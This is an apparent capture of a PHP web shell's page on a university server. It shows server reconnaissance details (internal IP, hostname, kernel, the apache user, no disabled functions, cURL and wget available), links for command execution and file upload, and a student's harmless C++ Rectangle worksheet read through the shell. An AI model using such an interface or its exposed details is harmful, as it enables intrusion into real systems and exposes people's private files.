Kanjut SHELL
Server IP : 172.16.15.8  /  Your IP : 18.119.248.214
Web Server : Apache
System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 7.2.24
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0705) :  /home/mrlong/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : //home/mrlong/Worksheet.cpp
//	Miles Long
//
//	CS212 worksheet
//

#include <iostream>

using namespace std;
//Q1
class Rectangle
{
	float length, width;
public:
	
	Rectangle()
	{	length = 0; width = 0;	}

	Rectangle(float l, float w)
	{	length = l; width = w;	}

	void Set( float l, float w)
	{ 	length = l; width = w;	}

	float Area() const { return length * width; }

	void Print() const
	{	cout << "Length: " << length << endl;
		cout <<	 "Width: " << width << endl;
		cout << "Area: " << Area() << endl;	
	}
	//Q3
	bool GreaterThan ( Rectangle aRec)
	{	
		//return ( Area() > aRec.Area()  );	      //both work
		return length*width > aRec.length*aRec.width; //both work	
	}
};	

int main()
{	//Q2
	// 1)
	Rectangle rec1(2, 3);
	//2)
	Rectangle rec2;
	// 3)
	rec2.Set(1, 5);
	// 4)
	rec2.Print();
	
	//5)
	float len1, wid1;
	cin >> len1 >> wid1;
	while (cin)
	{
		rec1.Set( len1, wid1);
		rec1.Print();
		cin >> len1 >> wid1;
	}

	if( rec1.GreaterThan(rec2) ) cout << "Rec1 is greater.\n";
	else	cout << "Rec2 is greater.\n";
	
	cout << "\n\n-------------------------\nFin.\n\n";
	return 0;
}

Stv3n404 - 2023